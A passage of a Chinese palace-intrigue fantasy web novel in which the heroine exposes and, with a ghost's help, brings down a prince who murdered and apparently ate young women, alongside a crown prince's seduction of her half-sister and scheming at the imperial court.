他环视厅堂,语气淡漠:“既然如此,本王傍晚再来。”说罢径直转身离去,步履透着些异样的仓促。
太子却未立即离开,转而问柳氏:“怎不见郡公?”
柳氏眼中闪过一丝慌乱,强自镇定道:“郡公晌午多饮了几杯,此刻正在酣睡,实在失礼了。”
太子了然一笑。
丹阳郡公与其兄英国公一般,素来不喜与永熙王往来,这分明是故意避而不见。
“既如此,孤便不打扰了。”太子温文一笑,告辞离去。
屏风后,云昭将一切尽收眼底。
这永熙王虽是萧启与太子的叔公,看起来却只是个精神矍铄的中年人。更令她诧异的是,即便运转玄瞳,在他身上也看不到丝毫阴邪之气,反而清净得异乎寻常。
云昭眸光微动。
是太干净了。
萧启曾说,永熙王身边豢养着玄师异士,看来此言非虚。必是有人常年为他净化气场,抹去所有痕迹。
云昭唇角微勾。如此刻意保持洁净,反向来想,恰恰说明他内心畏惧着什么。若不心虚,何必大费周章?
她缓步走出,向几人问道:“可知道永熙王身上发生过什么特别的事?”
英国公夫人蹙眉道:“你一个未出阁的姑娘,还是莫要打听这些为妙。”
李扶音也轻声道:“姜小姐,大伯母是为你好。京城一直有传言,说永熙王有些不同寻常的癖好。未出阁的姑娘见了他,最好避而远之。”
孙婆子静立一旁,目光闪烁,呼吸略显急促。
柳氏沉吟片刻,开口道:“我倒是想起一桩旧事。”见云昭看来,她继续道,
“约莫五六年前,京城醉月楼有位清倌人名叫玉簟秋,不仅才情了得出口成章,性子更是桀骜不驯。当时京中王孙公子,都以能得她一顾为荣。”
她顿了顿,声音渐沉:“那年盛夏时节,永熙王入京后不久,玉簟秋就消失了。最后有人见到她,是在熙园的一次夜宴上。
据说,宴席上有道鲥鱼刺身,最中央那片纤薄细嫩的鱼片上,赫然印着一个‘秋’字。巧的是,那玉簟秋的脚踝上,正有一个同样的‘秋’字刺青。”
众人闻言无不色变。
李扶音更是打了个寒颤。
柳氏又道:“但说来也怪,自那之后不久,熙园的宴席上再不见鱼脍,永熙王也不再泛舟游湖。而这两样,原本都是他最爱的事。”
云昭听得若有所思,随后,她朝柳氏一笑:“多谢,这个故事对我很有帮助。”
她又对英国公夫人和柳氏低声嘱咐几句,方才对众人道:“大家忙碌半日,都去歇息吧。今日傍晚的宴席,想必会精彩得很。”
*
时近傍晚。
姜绾心悠悠转醒,甫一睁眼便对上了云昭沉静如水的眸子。她吓得一个激灵,猛地从榻上坐起,伸手就朝云昭扑去:“把我娘的法宝还来!”
云昭轻盈侧身避开,脸上故作惊讶:“你竟还记得当时的事?”
姜绾心咬牙切齿:“若不是你动用那邪物,我与兄长怎会无故昏厥!”
云昭轻轻颔首,眸光中带着几分玩味:“你既记得清楚,倒也省得我多费唇舌。”
她摊开双手,“说来惭愧,也不知是那物件儿太娇贵,还是我用的方式不对,那东西用过便毁了。”
说着,她当真从袖中取出一片残破的蝉蜕,轻飘飘地放在姜绾心颤抖的掌心。
“你!”姜绾心气得浑身发抖,“简直无耻之尤!”
“咱们两个,究竟谁更无耻?”云昭俯身靠近,声音轻柔却字字诛心,“你用这等邪物暗算于我,还想将姜珩一并拖下水。你心里盘算的那些龌龊勾当,需要我当众说个明白吗?”
“那又如何!”姜绾心眸中迸射出怨毒的光芒,“只恨我不懂你们这些歪门邪道,不能当场让你身败名裂!”
云昭轻轻摇头,唇角勾起一抹意味深长的笑:“太子殿下晌午刚过就到了。你猜,若是让他从别人口中听闻今日晌午发生的种种,会作何感想?”
说罢,她不再去看姜绾心瞬间煞白的脸色,转身翩然离去。
今晚的赏荷宴,她需要一个能绊住太子片刻的棋子。
但愿姜绾心,能争点气,多撑些时候。
云昭与孙婆子在廊下汇合,一同朝着清漪阁的方向行去。
“情形如何了?”云昭低声问道。
孙婆子沉默片刻,自袖中取出一张事先写好的字
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条递上。
借着廊下灯笼昏黄的光线,只见上书一行颇为娟秀的正楷,当中赫然写着“怨女”二字!
云昭将字条收好,轻声道:“今日多亏了柳氏和你。”
若不是柳氏提前在园中布下了“百鬼噬魂阵”,此地的怨气不会如此浓重!
若没有孙婆子精通"引魂渡厄"之法,懂得如何唤醒被**的厉鬼,今日的计划也不会这般顺利!
说话间,二人已行至清漪阁。
夜幕下的水阁灯火辉煌,湖中荷花在月色下静静绽放,暗香浮动,景色美不胜收。
而坐在主位旁的永熙王,眼神如鹰隼扫过全场,身形紧绷,显然处处不自在。
云昭唇角轻翘,拾步走入阁中。
今日宴席,李灼灼、李扶音等贵女皆已到场。未出阁的女眷被安排在距离主位最远的席位。
云昭刚一走进去,就迎来各种目光。其中一道目光格外黏腻灼热,令人不适。
她佯作未觉,正要入座,却听柳氏扬声问道:“不是去请姜二小姐了么,怎不见她同来?”
云昭故意撇嘴冷笑:“又说头疼,闹别扭不肯与我同来。”
她本就生得姿容秾丽,今晚特意穿了一件水红色广袖留仙裙,衬得肌肤胜雪。此刻横眉冷对的模样,宛如一朵带刺的玫瑰,娇艳却危险。
那道黏腻的目光顿时更加炽热了。
云昭在自己的席位坐下,端起桌上的酒盏默默轻啜着。
就在这时,李扶音忽然举杯笑道:“久闻姜大小姐才情过人,今日荷花正盛,不如我们行个酒令,以荷为题赋诗助兴?”
云昭故意将酒盏重重一放,冷声道:“我自幼流落在外,哪里懂得这些风雅之事。县主这是存心要让我出丑?”
一旁的李灼灼打圆场道:“云昭,我堂姐也是好意相邀,不作诗就不作罢,何必发这么大脾气!”
“懒得与你们说。”云昭霍然起身,衣袖带翻了案上果盘,鲜果滚落一地。
在众人惊愕的目光中,她拂袖而去。
走出清漪阁,她先是在水边驻足片刻,似是望着池中倒映的月影出神。随后竟朝着与池水相反的方向走去,身影渐渐没入黑暗之中。
月色之下,那道水红色的身影显得有些僵硬,步伐间带着几分不自然的滞涩,仿佛被无形的丝线牵引着。
隐在暗处的萧启见状,眸色骤然一沉。
不对劲!
以云昭的性子,即便故意做戏,也绝不会如此走路!更不会远离她事先精心布置的莲池!
难道方才在众目睽睽之下,她竟被永熙王的手下暗算控制?而他们明处暗处这么多双眼睛,竟都未能察觉?
第105章 赐个侧妃之位
尚书府。
灯烛暖黄,晕开一室静谧。姜世安坐在书案之后,指间捏着一卷书,却半晌不曾翻动一页。
“吱呀——”
门被轻轻推开,梅柔卿端着一套酒具悄步而入。
“老爷。酒温好了。”她行走间还有些不便,脸色也透着苍白,但声音柔婉,态度亲昵,仿佛前些日子挨的那顿毒打从未发生。
姜世安一见到梅柔卿手中的酒,喉结不由滚动了下,眼瞧着琥珀色的酒液缓缓注入杯中,他迫不及待地接过,仰头便饮了一大口。
梅柔卿冷眼瞧着他近乎贪婪的姿态,唇角勾起一抹极淡的讥诮。
“老爷慢些饮,这酒须得细细咂摸,余味方长。”她绕至他身后,指尖不轻不重地为他揉按着肩颈,
“妾身有点忧心……待明日苏氏母女若回来,老爷可想好了万全之策?”
姜世安浑不在意地又抿了一口酒:“明日?既得了美人,熙园少不得要大摆三日筵席!明日是断然回不来的。”
梅柔卿故意倒吸一口凉气:“三天三夜?云昭那丫头性子再烈,终究才十六,身子骨怎么受得住?”
姜世安执杯的手顿了顿,沉默片刻,才含糊道:“太子殿下和我说,那位若是足够喜欢,说不定会将她留在府中,赐个侧妃之位。”
他摩挲着光滑的杯壁,长叹一声,“就看她自己的造化了。”
“老爷放宽心,”梅柔卿立即道,“云昭和咱们心儿不一样,她自小长在山野,性子刁蛮,又有那样一身手段,必能降服那位贵人。说不定过两日,咱们府上真要多一位亲王侧妃了!”
这句话切实搔到了姜世安的痒处,他不由得低笑起来,反手拍了拍梅柔卿的手背:“知我者,卿卿也。你真是我的解语花。”
梅柔卿顺势将柔荑放入他掌心,话锋悄然一转,带着几分忧切:“姜郎,苏氏那边……你须得早做决断。”
姜世安笑容一敛,侧头看她:“又吃味了?”
“姜郎怎会如此想妾身?”梅柔卿嗔怪地轻摇其臂:“妾身所做一切,皆是为了姜郎,为了咱们珩儿、心儿还有珏儿的前程啊!
姜郎细想,上一次姜云昭被召入宫,咱们都以为陛下要降罪,那苏氏是如何不管不顾在门前大闹的?甚至当着常公公和那些百姓的面,说出那些不堪的话来?”
提及旧事,姜世安脸色瞬间阴沉如水。
“苏家早已败落成什么样子!偏她还端着那些文官清流的臭架子,迂腐!假清高!”他越说越气,将酒盏重重墩在桌上,
“能与永熙王结亲,旁人求之不得!不过得了个三品淑人的虚名,还真抖起威风来了!”
梅柔卿又为他斟了一盏酒,声音幽幽:“妾身是怕,若苏氏执意不肯,甚至以死相逼,阻挠云昭入王府……岂不坏了太子殿下和老爷的大事?”
“姜郎可要早做谋算……”
灯下,两人身影紧挨,低语声渐不可闻。
不远处的花丛阴影下,一道身影死死捂住自己的嘴,连呼吸都屏住。
温氏脸色惨白,几乎是手脚并用地从藏身之处退了出来,未发出一丝声响。
院门口,一直焦急等候的姜世忠见妻子这般失魂落魄地出来,连忙迎上,压低声音:“如何?大哥他可答应了?”
他们夫妻二人原本商定,今夜来求见长兄,借口谋个外放的差事,带着一双女儿远离京城,实则是不愿再在这污糟的姜府多待一日。
温氏一把抓住丈夫的手臂,指尖冰凉,力道大得几乎要掐入他肉里。
她抬起头,眼中是前所未有的惊惧与决绝:“夫君,我从未求过你什么,但今日,你务必听我一言!”
她深吸一口气,强压住声音里的颤抖:“你现在立刻出府,去买一匹最快的马!连夜赶往城郊玉泉山丹阳郡公的别苑,去寻大嫂!把今夜听到的,原原本本告诉她!”
这一家子从老到小,心肝都已经黑透了!这姜家,是一刻也不能再待下去了!
*
夜色如墨。
园中异常干燥,不见一丝水光。所有可能蓄水的池、渠、井,尽数被填作平地,取而代之的是一株株形态奇崛的银杏与春桃。
银杏开运,春桃辟邪,皆是阳气十足的树木。如此刻意栽种,密密麻麻,反倒透出一种欲盖弥彰的恐慌。
云昭坐在快速前行的轿辇上,目光掠过这精心布置却难掩诡异的园景,眼底滑过一丝了然的嘲弄。
越是作孽多端的人,越是怕死怕得厉害。这满园的“阳气”,镇不住那滔天的怨念,反而成了罪证般的讽刺。
轿辇最终停在一座孤耸的朱楼前。
门开,一股浓郁暖香扑面而来。满室烛火通明,照见一室穷奢极欲。
正中一张圆桌上,摆着一口纯金火锅,汤底咕嘟翻滚,散发出浓郁却令人隐隐作呕的肉香。
永熙王萧玦一身暗紫锦袍,领口微敞,斜倚在铺着完整白虎皮的宽椅中。
他手执银箸,从玉盘中夹起一片淡粉色、薄如蝉翼的肉片,在沸汤中极为熟稔地轻轻一涮,送入口中,细细咀嚼。
他满足地眯起眼,像一只餍足的野兽,看向被抬进来的云昭,唇角勾起一抹玩味的笑。
“此肉,本王为其取名‘玉娇容’。”他慢条斯理地开口,声音带着一种饱食后的慵懒,声音带着一种饱食后的沙哑与慵懒,内容却令人毛骨悚然,“取自美人如玉,娇容可餐。姜小姐见多识广,可知这女子身上,何处肉质最为细嫩鲜美?”
云昭端坐辇上,面覆寒霜,默然不语。心中却是雪亮——
原来如此!难怪方才清漪阁中那个“永熙王”,眼神虽厉,姿态却过于紧绷,少了几分浸入骨髓的傲慢与残忍,那分明是个用以迷惑外人的替身!
真正的萧玦,自晌午离开丹阳郡公府别苑,便一直稳坐在这熙园深处。
萧玦见她不言,也不在意,自顾呷了一口美酒,继续道:“本王阅女无数,享用过的美人更是多
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如过江之鲫。但这女玄师……尤其是如你这般有真本事的,倒还是头一回见。”
他目光带着审视,如同评估一件稀世货物。
“李崇那个蠢货,专宠一个上不得台面的**,以致家宅不宁,阴煞汇聚,本该有一场倾盆血雨,竟被你举手间化解于无形。丹阳郡公府今日之劫,本该更惨烈数倍。”
云昭心下微凛,看来这萧玦和他身边那未曾露面的邪师,确实有几分真本事。
今日李家之事,他们并未亲临,却能如此清晰地感知到煞气变化与她的干预。
“这女人嘛,”萧玦语气轻佻,带着刻骨的漠然,“便如这案上鲜脍,趁着新鲜品尝,滋味最妙。若养在家中十几年,便与朽木无异,嚼之无味了。”
萧玦放下酒杯,目光如毒蛇信子,舔舐过云昭周身,“不过你不同。你乃玄阴之体,又身负异术,若以秘药奇珍悉心豢养数年,不知这‘玉娇容’的滋味,是否会更为……玄妙滋补?”
云昭坐在轿辇里,神色木然,仿佛未闻。
永熙王嗤笑一声:“你只是被暂时封了周身术法,手脚又未被缚。怎么,连下辇的胆子都没了?”他眼神戏谑,“听说你鞭法不错。即便玄术不能用,总还能挥得动鞭子吧?”
云昭冷声开口:“我渴了。”
这要求出乎意料,萧玦挑了挑眉,似乎觉得有趣,随意挥了挥手。
一个身着灰袍的青年从阴影里走了出来。
此人容貌阴柔,眼神浑浊,看向云昭的眼神,混合着贪婪与嫉妒,宛如湿冷的蛇类爬过肌肤,让人不寒而栗。
他默不作声地倒了一杯清水,双手奉上。
云昭假做伸手去接,即将触碰到时,却手腕一翻,直接拂过水面,蘸起几滴清水。
同时另一手自袖中取出之前孙婆子递来的字条!
“以水为引,通幽达冥!以名为凭,唤尔真灵!”
她清叱出声,蘸水的手指在那泛黄的纸条上猛地一划!纸上以血写就的“玉簟秋”三字,遇水竟如活物般蠕动起来,散发出凄厉的血光!
那阴柔邪师脸色剧变,厉喝一声:“大胆!”周身黑气涌动,枯瘦五指成爪,直抓云昭天灵!
然而,他快,云昭更快!
那蕴含着微弱水汽与怨女真名的字条,在她玄妙手法牵引下,仿佛成了一枚打破禁忌的钥匙!
“噗——”
一声微不可察的轻响,仿佛某个无形的桎梏被瞬间冲破。
云昭周身气息陡然一变,原本被压抑的玄力如开闸洪流,轰然爆发!
面对邪师抓来的利爪,她甚至未曾抬眼,只并指如剑,指尖金针后发先至,精准无比地点在其掌心劳宫穴!
“啊——!”
邪师发出一声凄厉惨叫,整条手臂以肉眼可见的速度变得青黑枯萎,黑气反噬,瞬间窜遍全身!
他眼中满是难以置信的惊恐,身体剧烈抽搐两下,便直挺挺地向后倒去,气息全无。
一招毙命!
第106章 女儿家婚前不可如此
云昭看都未看那倒地身亡的邪师,冰冷的目光直射向震怒的萧玦:“这不是真正帮你的人。那个为你清理周身血煞怨气的邪师呢?”
看着萧玦骤然变色的脸,云昭唇角勾起一抹讥诮:“看来你这永熙王的滔天财富,也有买不来忠心的时候。”
关键时刻,那个真正的‘高人’早已察觉不妙,丢下他这弃子,自行逃命去了。
云昭话音未利落,整个房间的光线骤然黯淡下去,烛火变成了幽绿色。
一个模糊的、身着残破白衣的女子虚影,在房间中央缓缓凝聚。
玉簟秋的怨灵,被那**与水符彻底唤醒了!
孙婆子干瘦的身影如同鬼魅般出现,她浑浊的老眼死死盯住萧玦,里面燃烧着足以焚尽一切的仇恨火焰。
萧玦吓得魂飞魄散,转身欲逃。
云昭岂会给他机会?她手中银鞭如灵蛇出洞,死死缠住了萧玦的脖颈,将他拖拽回来,狠狠掼在地上!
“狗贼!还我小莲命来!”孙婆子发出一声凄厉如夜枭的嘶吼!
她枯瘦如鸡爪的手指,狠狠戳进了那双曾阅尽无数美色、也曾漠视无数人命的双眼!
“啊——!!!”比杀猪还要惨烈十倍的嚎叫冲破屋顶。
几乎同时,凝聚成形的怨女玉簟秋,发出一声快意而尖利的啸叫,裹挟着浓如墨汁的怨气,猛地扑到了萧玦身上!
无数惨白、浮肿、由怨气凝聚的手臂虚影从黑雾中伸出,死死缠绕住他,疯狂地撕扯着他的血肉,吞噬着他的魂魄!
萧玦的惨嚎变成了破碎的、不成调的呜咽,身体在地上剧烈地抽搐、翻滚,却无法摆脱那无孔不入的怨毒侵蚀。
就在这时,紧闭的房门被人从外面以巨力轰然破开!
木屑纷飞中,两道挺拔的身影疾步闯入。
当先一人身着深色常服,面容俊朗却此刻铁青扭曲,正是长公主之夫卫临。
他身后,萧启一袭玄色劲装,身形峻拔,眸光锐利扫过屋内,在看清云昭的情形后,悄然松了口气。
卫临双目赤红,看着眼前萧玦的惨状,强压着翻腾的情绪,对云昭拱手,声音嘶哑:“姜小姐,可否暂且留这畜生一口气?”
沉浸在复仇快意中的孙婆子抬起满是血污的脸,看向卫临。
卫临走上前,看着地上已不成人形的萧玦,质问他:“当年……我家宝珠才八岁,你为何要杀她?”
萧玦已被折磨得奄奄一息,听到这句,发出嗬嗬的怪笑:“同姓不食……那小丫头……只是死在我的地盘上,并非……我!”
卫临根本不信,目眦欲裂,就要上前亲手了结他。
孙婆子却在这时伸出枯瘦的手指,沾了地上萧玦的血,抹过他的咽喉!
萧玦身体剧烈一震,仿佛被无形的力量扼住喉咙,双眼翻白,用尽最后力气,发出一声凄厉至极、不似人声的嚎叫:
“不——是——我——!”
云昭看了一眼,对卫临和面露凝重的萧启摇了摇头:“真言咒下,他只能说实话。”
卫临踉跄一步,眼眶瞬间通红,积蓄已久的泪水终于滚落下来。他仰起头,发出一声压抑至极的、如同受伤野兽般的哀鸣。
这个夜晚,有人得报大仇,有魂怨念得消,却也有人,陷入了更深的迷雾与痛苦之中。
*
半个时辰前。
凿地引入的天然温泉池水汽蒸腾,白雾缭绕如仙境。
空气里弥漫着清雅的兰麝香气,混杂着氤氲水汽,湿润而温热,吸入口鼻,仿佛能酥软了人的筋骨。
太子萧鉴慵懒地靠在池边,墨发披散,浸湿的白色中衣紧贴着他精壮的胸膛。
轻微的脚步声自身后响起,带着几分迟疑与怯懦。
“殿下……”一声娇柔婉转,如同莺啼的呼唤,打破了室内的静谧。
是姜绾心。
萧鉴眼帘微动,并未立刻睁开,眼底深处有一抹极快闪过的、不易察觉的轻蔑与算计,如同冰面下的暗流。
他依旧保持着闭目养神的姿态,仿佛未曾听闻。
姜绾心见他不应,心中忐忑,又往前挪了半步,声音愈发娇滴滴,带着委屈的颤音:“殿下……心儿,心儿有几句要紧话,想与殿下说清楚……”
就在她话音将落未落之际,萧鉴倏然回身,长臂一伸,带着淋漓的水珠和不容抗拒的力道,精准地攥住了姜绾心纤细的手腕,猛地向下一带!
“啊!”姜绾心猝不及防,惊呼一声,整个人便被一股巨力拽入了温热的池水之中!
温暖的泉水瞬间浸透了她的绫罗衣裙,布料紧紧贴在身上,勾勒出窈窕曲线。
水花四溅,她惊魂未定,呛咳了两声,长发湿漉漉地贴在脸颊颈侧,更显得楚楚可怜。
萧鉴却在这时,双手扶住她的肩臂,微微拉开些许距离,低头凝视着她。
他眸中先前那点冷意早已荡然无存,取而代之的是一种混杂着惊喜、迷醉与浓烈欲望的光芒,仿佛真的看到了梦寐以求的珍宝。
他嗓音低沉,因情动而略带沙哑,气息拂过她耳畔:“心儿?莫不是……孤今日饮多了酒,竟在此处见到了你?”
姜绾心被太子强势姿态笼罩,再瞧着对方深情款款的眼神,只觉得浑身骨头都轻了三分。
她双颊飞红,眼波流转间尽是媚意,娇羞无限地垂下头,声若蚊蚋:“殿下……并非幻觉,是真真切切的心儿在此……”
她悄悄抬眼,仔细观察着太子的神色,见他眼神炽热,只有情欲不见其他,心中那块大石终于落地——
看来,今日晌午她与兄长在静室的那点流言,尚未传入太子耳中,又或者,并未被太子放在心上。
本来,她与姜珩就是嫡亲的兄妹,即便二人独处一室,又能如何?
凡是会多想的人,必然是心思龌龊之徒。
她轻轻挣扎:“殿下,快将心儿放开罢……”
萧鉴见她这般欲拒还迎的姿态,喉结滚动,不再给她任何思索的余地,带着温泉热气的薄唇,精准地攫取了她微张的樱唇。
“唔……”姜绾心象征性地挣扎了一下,双手抵在他坚实的胸膛,却软绵绵的使不上半分力气。
她偏过头,躲开他灼热的呼吸,声音带着颤意,更像是诱惑的邀请:“殿下不可……娘亲、娘亲说过,婚前……女儿家婚前不可以如此的……”
萧鉴低笑一声,气息灼热,手臂如铁箍般将她更紧地拥入怀中,两人身体紧密相贴,隔着一层湿透的薄薄衣料,能清晰感受到彼此炽热的体温和心跳。
他含住她敏感的耳垂,嗓音喑哑,带着不容置疑的承诺与急切:
“孤知道。但孤实在忍不住了……心儿,你太美了,美得让孤心旌摇曳……”
他的吻再次落下,沿着她纤细的脖颈蜿蜒而下,留下暧昧的湿痕,“放心,孤定会对你负责……待时机成熟,孤必向父皇请旨,让你嫁入东宫,许你风光无限……”
他的话语如同最有效的**,彻底瓦解了姜绾心本就薄弱的防线。
她口中那微弱的抗拒,渐渐化作细碎的呜咽和迎合,抵在他胸前的手,也缓缓上移,勾住了他的脖颈。
温泉水波荡漾,氤氲热气将两人交缠的身影模糊、拉长,投射在雾气昭昭的池壁与纱幔之上,起伏不定,伴随着逐渐急促的喘息与压抑
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的呻吟,满室春意盎然。
层层叠叠的帘幕之后,太子贴身内侍灵峰与宫女拂云,面无表情地交换了一个心照不宣的眼神。
两人极有默契地同时后退,脚步轻盈如猫,悄无声息地掩上了暖阁的房门,将这一室旖旎彻底隔绝在内。
……
次日清晨,一辆装饰着东宫徽记的华丽马车,在无数道或明或暗的注视下,稳稳停在了姜府门前。
姜家二小姐姜绾心被太子殿下亲自送回府的消息,如同插上了翅膀,瞬间点燃了整座京城。
门房连滚带爬地入内禀报,正翘首以盼的姜世安闻言,几乎是从椅子上弹了起来,脸上是抑制不住的狂喜与期盼,连声催促:“快!都随我出去迎接!快!”
他带着一众心思各异的家眷,快步冲到了大门外,整了整衣冠,垂手恭立,目光热切地望向那辆象征着无上荣耀的马车。
姜绾心扶着侍女的手,款款步下马车。
她身着昨日离家时那件华服,眉眼之间染着一层尚未褪尽的慵懒春情,走路的姿势也带着一丝不易察觉的别扭。
一直紧盯着女儿的梅柔卿,在看清她这般情态时,心头猛地一沉,脸色瞬间变得难看至极。
姜绾心触及母亲的目光,脸上那点刻意维持的从容顿时僵住,下意识地避开了对视。
就在这时,太子的声音从尚未落下的车帘内传来,带着一丝晨起的沙哑:“姜大人。”
姜世安如同听到天籁,连忙躬身上前:“臣在。”
“好生照看心儿。”太子的声音透着一丝慵懒,“她,很好。”
简单三个字,落入姜世安耳中,不啻于仙音!
他顿时心花怒放,连声应道:“是!臣一定好生照料小女,绝不敢有丝毫怠慢!”
他激动得声音都有些发颤,迟疑一瞬,又小心翼翼道,“殿下,不知熙园那边……”
车内溢出一声极轻慢的嗤笑,带着居高临下的玩味:“叔公?他昨夜得了新鲜玩意儿,想必正‘忙’得不可开交。再过几日,自有分晓。”
姜世安当即如同吃了一颗定心丸,拱手称是:“能让那位身心畅快,也是那丫头的福气!”
马车内,太子眼底飞快闪过一抹难以捉摸的复杂神色,并未再接话,只对车外的侍卫统领灵峰吩咐道:“走吧。”
马车缓缓启动,朝着皇城的方向驶去,留下姜家众人心思各异地站在原地。
姜绾心刚抬脚踏上府门的台阶,胳膊就被梅柔卿猛地死死拽住,力道之大,让她疼得当即“嘶”了一声。
她蹙起黛眉,小声抱怨道:“娘!你轻点,弄疼我了!”
梅柔卿强压着怒火,将她往身边又拽近了几分,几乎是咬着牙根,从齿缝里挤出低语:“我是怎么叮嘱你的!要矜持,要自重!你居然如此不知轻重,这才第一夜就……”
后面的话,她气得难以启齿。
姜绾心却不以为意,反而带着几分得意,小声反驳:“哎呀娘!此一时彼一时,做人要懂得相时而动,抓住机会!这也是您自幼教导我的啊!况且……”
她脸上飞起一抹红霞,声音里带着压抑不住的兴奋,“太子殿下昨夜亲口承诺于我,说他回宫后,立刻就会向陛下请旨,娶我做太子妃呢!”
“当真?!”一旁的姜世安听到这话,顿时喜上眉梢。
姜老夫人更是激动得双手合十,连连对着天空作揖:“老天开眼!祖宗保佑!我家心儿终于守得云开见月明了!从今往后,我们心儿就是这全天下最尊贵、最有福气的女人了!”
唯有梅柔卿,眉头依旧紧锁,没有被这巨大的喜悦冲昏头脑。
第107章 姜云昭?她怎么可能回来了!
梅柔卿眉头紧锁,追问道:“你兄长呢?还有姜云昭呢?”
姜绾心撇了撇嘴:“兄长他还在丹阳郡公府里,一心想着如何讨好那位县主呢!至于我那位好阿姊……”
她唇角轻挑,露出一抹毫不掩饰的幸灾乐祸,“听说昨夜在宴席上,她不知用了什么手段,竟引得永熙王注意,两人一前一后离席而去。之后便再无消息,一夜未归呢!”
一旁的温氏,听到这话,脸色瞬间煞白如纸,身子几不可察地晃了一下。
站在她身旁的绾棠,眼中带着恐惧,紧紧拽住了温氏的衣袖,将脸埋了进去。
“什么?一夜未归!”姜老夫人当即脸色一变,扯着嗓子骂了起来,唾沫星子横飞:“在山野长大的贱骨头,就是没半点规矩!跟她那个装模作样的娘一样狐媚……”
“娘!”姜世安扶住姜老夫人的手肘,“有什么话,进去再说,莫要让外人看了笑话。”
如果说方才听到太子那模棱两可的话语,他还有些悬心,此时听了姜绾心的讲述,他心底最后一丝疑虑也尽消了。
他强自按捺着几乎要冲破胸膛的狂喜,扶着老夫人迈过高高的门槛,心里忍不住想:大女儿在外流落多年,缺少教养,能攀上永熙王这门高枝,哪怕只是侧妃,也足以让他脸上有光!
更别提如今小女儿与东宫的婚事,眼看已**不离十,板上钉钉了!
他回想起方才太子马车直奔皇城的方向,一时心旌摇曳,难以自持。
难道说,太子殿下这般急着离开,是打算今日就向陛下请旨赐婚?
进宫请旨的确有其人,但却并非太子。
事实上,太子萧鉴今日确实进宫面圣,却在通往紫宸殿的玉阶前,被皇帝身边的首领太监常玉拦了下来。
常公公手持拂尘,面上带着无懈可击的恭敬笑容,微微躬身道:“殿下,圣上口谕,令您在府中静心思过。殿下今日未经传召便出府入宫,已是违逆了圣意。”
萧鉴那张温润如玉的脸上,滑过一抹阴沉。
旋即,他蹙起眉,语气带着恰到好处的忧切:“常公公,孤今日进宫,实是因万寿节将至……”
“殿下孝心可嘉,”常公公不卑不亢地打断他,笑容不变,“只是圣上万寿节的一切仪程,自有礼部循旧例精心操持,陛下亦有圣裁,殿下实在无需过多忧心,还是在府中静养为宜。”
紫宸殿内,常公公悄无声息地走入,见皇帝并未如常批阅奏折,而是盘腿儿临窗而坐。
他上前几步,低声道:“陛下,顾影那边传来消息,说秦王殿下已至宫门,再有半刻钟便能到紫宸殿了。”
皇帝缓缓睁开眼,眸中一片深沉。
“萧玦**?”他声音平静无波。
常公公躬身道:“是。听说从熙园里掘出的尸骨,已逾二十具。尚且不算青莲观和青霞观里那些烧成炉灰的可怜人。”
皇帝鼻子里溢出一声冷哼:“他是太放肆了。朕容他多年,他却愈发不知死活。”
常公公试探着开口:“恭喜陛下,永熙王一死,他手中把持的那条玄铁晶矿脉,终于能顺利回归陛下掌控,于国于民,皆是大利。”
皇帝一时并未接这个话头,脸上也未见丝毫欣慰之色,反而笼罩着一层更深的思虑。
好一会儿,他突然开口,声音带着一丝不易察觉的飘忽:“常玉,朕这几个儿子,你瞧着谁最像朕当年的模样?”
常公公闻言,脸上堆起惯有的谄媚笑容,嘿嘿一笑:“龙生九子,各有不同。老奴瞧着,皇子们金尊玉贵,个个都有陛下的影子。但若说最像嘛……”
他故意拖长了音调,觑着皇帝的神色,小心翼翼道:“老奴觉着,无论行事风格还是那份杀伐决断,还是秦王殿下,最肖似陛下当年。就连那眉眼容貌,也像足了七八分呢!”
皇帝突然笑了起来,眼底那抹深沉似乎化开了一些:“朕也这么觉得。渊儿虽是大哥的孩子,但他自幼是在朕身边长起来的,不论容貌还是性情,都最像朕。”
他眼底罕见地闪过一抹柔和的水意,“不过,他那双眼睛,看人时偶尔透出的那股子执拗劲儿,倒是像极了他娘亲……”
常公公又道:“陛下,方才太子殿下来过,说是想替您张罗万寿节事宜……”
皇帝猛地站起身,指着外间叫骂:“让他滚!真当朕老糊涂了,不知道他打的什么算盘?!”
他气得倒背着手,在殿内来回疾走了几圈,对常公公道,“跟他那个娘一个德性!骨子里的蠢钝恶毒!”
说着,一阵剧烈的咳嗽袭来,皇帝咳得弯下了腰。
“老奴已将殿下劝回去了。”常公公上前,熟练地为他拍着后背顺气,温声劝道:“陛下,保重龙体啊!今天是个好日子,您不是做好打算,要给秦王殿下和姜大姑娘赐婚嘛!”
皇帝接过茶盏,呷了一口,气息稍平。
就在这时,一个略显尖锐、带着不满的女声自殿外传来:“皇帝要给渊儿和谁赐婚?”
只见太后在一众宫婢的簇拥下,盛装出现在殿门口。她妆容精致,试图掩盖岁月的痕迹,但那厚重的脂粉下,眼角的细纹与微微下垂的嘴角,透出一种强撑门面的衰老与刻薄。
她扶着宫女的手,一步步走上前,目光锐利地盯住皇帝,追问道:“可是尚书府姜家?是那个刚找回来的女儿?”
皇帝含混了一声,神色掠过一丝不耐:“母后不必着急过问,朕还未下决断。”
他朝常公公使了个眼色,站起身,作势欲走。
常公公立刻会意,上前一步,恭敬地对太后道:“启禀太后娘娘,陛下先前已约了几位枢要大臣,要往蓬莱殿商议军务,娘娘您看……”
太后不大高兴地嘟囔:“行啦。知道你嫌哀家碍眼,不耐烦陪着说话。”她追问皇帝,“皇儿,你皇叔今年可进京了?”
太后口中的“皇叔”,正是永熙王。
皇帝眸中凝冰,他停下脚步,目光沉沉地看向太后:“母后还是莫要与永熙王往来过密为好。有些事,适可而止。”
太后这下是真的恼了,脸色霎时沉了下来:“你们都嫌哀家!皇帝嫌,你皇姐也嫌!渊儿更是整日不见人影!除了心儿那孩子体贴懂事,时常入宫来宽慰哀家,你们这些人,没一个贴心的!”
皇帝强压怒火道:“朕知道母后想要什么。但人终有一老,此乃天道轮回!一些旁门左道,还是尽早摒弃,莫要再用了!”
太后脸色骇然,下意识地抚上自己即便浓妆也难掩衰老的脸。
皇帝不再多言,拂袖而去。
徒留太后僵立在原地,脸色青白交错,她猛地抓住正要跟随皇帝离开的常公公:“常玉!皇帝这话是什么意思?”
她另一只手仍抚着脸,眼神慌乱,“可没有玉容丹,哀家现在要怎么办?”
从前每次玉容丹出炉,她拿到的都是加急送进宫的第一炉丹药!美颜润泽的效果,比京中那些贵妇买到的强了不知凡几。
如今这玉容丹说断就断,她容颜比服用之前更为衰老。以至近来她不敢再召任何人入宫觐见!生怕被人看出她容颜改变!
常公公眼底闪过一抹暗芒。他微微躬身,声音柔和地劝慰道:
“陛下近来也是为了西北战事与朝中琐事心烦,绝非有意对娘娘摆脸色。
